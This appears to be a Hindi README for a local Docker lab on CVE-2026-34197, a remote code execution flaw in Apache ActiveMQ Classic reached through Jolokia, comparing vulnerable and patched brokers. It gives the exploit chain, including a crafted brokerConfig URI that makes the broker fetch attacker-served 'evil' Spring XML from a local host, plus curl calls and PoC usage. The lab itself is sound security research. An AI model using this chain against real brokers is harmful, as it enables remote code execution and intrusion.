
# CVE-2026-34197 प्रदर्शित करने वाला Docker लैब Apache ActiveMQ Classic में Jolokia के माध्यम से RCE (रिमोट कोड एक्ज़ीक्यूशन) दिखाने वाला Docker लैब। इसमें एक सुरक्षित डिटेक्टर और निश्चित कमांड के साथ केवल-लोकल PoC शामिल है, जो कमजोर और पैच किए गए संस्करणों की तुलना करता है।
यह रिपॉजिटरी CVE-2026-34197 का अध्ययन करने के लिए एक स्थानीय Docker लैब है, जो Jolokia JMX-HTTP API के माध्यम से पहुंच योग्य Apache ActiveMQ Classic रिमोट कोड निष्पादन समस्या है।
लैब दो ActiveMQ Classic इंस्टेंस की तुलना साथ-साथ करता है:
| सेवा | संस्करण | उद्देश्य | URL |
|---|
vuln | 5.19.3 | असुरक्षित लक्ष्य | http://127.0.0.1:8081 |
patched | 5.19.4 | पैच किया गया तुलना लक्ष्य | http://127.0.0.1:8082 |
रिपॉजिटरी में दो प्रूफ स्क्रिप्ट हैं:
| स्क्रिप्ट | उद्देश्य | सुरक्षा मॉडल |
|---|---|---|
poc/detect.py | अधिकृत डिटेक्टर | केवल HTTP; शोषण नहीं करता |
poc/poc.py | केवल-स्थानीय RCE-पथ प्रूफ | निश्चित कमांड केवल: id; whoami; sleep 5 |
निष्पादन साक्ष्य को ऑपरेटर द्वारा strace जैसे प्रक्रिया अवलोकन टूल का उपयोग करके अलग से सत्यापित किया जाता है।
CVE-2026-34197 Apache ActiveMQ Classic के उन संस्करणों को प्रभावित करता है जहां एक प्रमाणित उपयोगकर्ता Jolokia API का उपयोग करके ब्रोकर प्रबंधन संचालन को लागू कर सकता है और एक क्राफ्टेड brokerConfig=xbean:http://... URI के माध्यम से ब्रोकर JVM को हमलावर-नियंत्रित Spring XML लोड करने के लिए प्रेरित कर सकता है।
इस लैब में प्रदर्शित असुरक्षित प्रवाह है:
Jolokia /api/jolokia/
-> Broker MBean संचालन
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> रिमोट Spring XML फ़ेच
-> ProcessBuilder बीन आरंभीकरण
-> निश्चित स्थानीय प्रूफ कमांड
पैच की गई सेवा XML फ़ेच होने से पहले इस पथ को ब्लॉक करती है और इसके समान एक त्रुटि लौटाती है:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml असुरक्षित और पैच किए गए ActiveMQ सेवाओं को चलाता है।vuln/Dockerfile Apache ActiveMQ Classic 5.19.3 बनाता है।patched/Dockerfile Apache ActiveMQ Classic 5.19.4 बनाता है।poc/detect.py Jolokia एक्सपोज़र, ActiveMQ संस्करण और Broker MBean दृश्यता की जाँच करता है।poc/poc.py एक निश्चित हानिरहित कमांड का उपयोग करके केवल-स्थानीय RCE पथ को ट्रिगर करता है।images/strace.png में असुरक्षित सेवा से स्थानीय प्रक्रिया-अवलोकन साक्ष्य शामिल हैं।.gitignore स्थानीय आर्टिफैक्ट, Python कैश फ़ाइलें, वर्चुअल वातावरण, लॉग और रहस्यों को बाहर करता है।यह रिपॉजिटरी केवल स्थानीय लैब उपयोग और अधिकृत सुरक्षा सत्यापन के लिए है।
PoC जानबूझकर सीमित है:
id; whoami; sleep 5।strace जैसे अलग ऑपरेटर-नियंत्रित अवलोकन पर निर्भर करता है।poc.py के लिए अनुमत स्थानीय लक्ष्य:
127.0.0.1
localhost
::1
इस रिपॉजिटरी का उपयोग उन सिस्टमों के खिलाफ न करें जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
docker compose down -v
docker compose build
docker compose up -d
सेवा स्थिति जांचें:
docker compose ps
अपेक्षित सेवाएँ:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
असुरक्षित सेवा जांचें:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
पैच की गई सेवा जांचें:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
अपेक्षित संस्करण:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py सुरक्षित डिफ़ॉल्ट स्क्रिप्ट है। यह लक्ष्य का शोषण नहीं करता है।
यह जाँचता है:
/api/jolokia/version सुलभ है;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
अपेक्षित परिणाम:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
डिटेक्टर किसी लक्ष्य को LIKELY_VULNERABLE के रूप में चिह्नित करता है जब:
Jolokia सुलभ है
+
ActiveMQ संस्करण प्रभावित सीमा में है
इस लैब द्वारा उपयोग की जाने वाली प्रभावित सीमाएँ:
5.x < 5.19.4
6.x < 6.2.3
Broker MBean दृश्यता का उपयोग विश्वास साक्ष्य के रूप में किया जाता है क्योंकि शोषण पथ ब्रोकर प्रबंधन संचालन पर निर्भर करता है।
डिटेक्टर CONFIRMED_RCE का दावा नहीं करता है।
poc/poc.py स्थानीय Docker लैब में RCE पथ प्रदर्शित करता है।
यह होस्ट पर एक अस्थायी HTTP सर्वर शुरू करता है और प्रति-रन पथ पर एक Spring XML पेलोड परोसता है:
/evil-<nonce>.xml
फिर यह Jolokia के माध्यम से ActiveMQ Broker MBean को लागू करता है:
addNetworkConnector(java.lang.String)
एक क्राफ्टेड डिस्कवरी URI के साथ:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
असुरक्षित ब्रोकर इस XML को फ़ेच करता है। पैच किया गया ब्रोकर XML फ़ेच करने से पहले vm:// ट्रांसपोर्ट स्कीम को ब्लॉक करता है।
असुरक्षित रन के बाद, बनाया गया NetworkConnector पुराने XML पथ को फ़ेच करने का पुनः प्रयास कर सकता है। स्क्रिप्ट प्रति-रन nonce का उपयोग करती है और गलत सकारात्मक से बचने के लिए matches_current_run को ट्रैक करती है।
एक हिट केवल वर्तमान रन के रूप में गिना जाता है यदि यह मेल खाता है:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
अपेक्षित आउटपुट:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
यह पुष्टि करता है कि ActiveMQ 5.19.3 को Jolokia-प्रबंधित ब्रोकर पथ के माध्यम से हमलावर-नियंत्रित Spring XML फ़ेच करने के लिए बनाया जा सकता है।
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
अपेक्षित आउटपुट:
VM scheme is not allowed
[-] No XML fetch observed for this run.
यदि पुराने असुरक्षित रन से हिट दिखाई देते हैं, तो उन्हें दिखाना चाहिए:
"matches_current_run": false
वे पैच की गई सेवा की सफलता के रूप में नहीं गिने जाते हैं।
PoC स्क्रिप्ट कमांड आउटपुट एकत्र नहीं करती है। कमांड निष्पादन की पुष्टि करने के लिए, असुरक्षित कंटेनर के अंदर प्रक्रिया निर्माण का अवलोकन करें।
रूट के रूप में असुरक्षित कंटेनर में प्रवेश करें:
docker exec -it --user root cve-2026-34197-vuln bash
Java प्रक्रिया खोजें:
pgrep -af java
Java PID पर strace संलग्न करें:
strace -f -e execve -p <JAVA_PID>
दूसरे टर्मिनल में, असुरक्षित सेवा के खिलाफ PoC चलाएं:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
अपेक्षित strace साक्ष्य:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
यह OS-स्तर का साक्ष्य है कि निश्चित प्रूफ कमांड ब्रोकर JVM द्वारा निष्पादित किया गया था।

PoC ट्रिगर करने से पहले डिफ़ॉल्ट NetworkConnector नाम NC को हटाने का प्रयास करता है। यह दोहराए गए लैब रनों को पूर्वानुमानित रखता है।
मैन्युअल सफाई:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
या लैब पुनः आरंभ करें:
docker compose restart vuln patched
| परीक्षण | असुरक्षित 5.19.3 | पैच किया गया 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia एक्सेस | प्रमाणीकरण के साथ सुलभ | प्रमाणीकरण के साथ सुलभ |
| Broker MBean | दृश्यमान | दृश्यमान |
poc.py XML फ़ेच | हाँ | नहीं |
| पैच किया गया ब्लॉक हस्ताक्षर | N/A | VM scheme is not allowed |
| strace कमांड साक्ष्य | /bin/sh -c 'id; whoami; sleep 5' | अपेक्षित नहीं |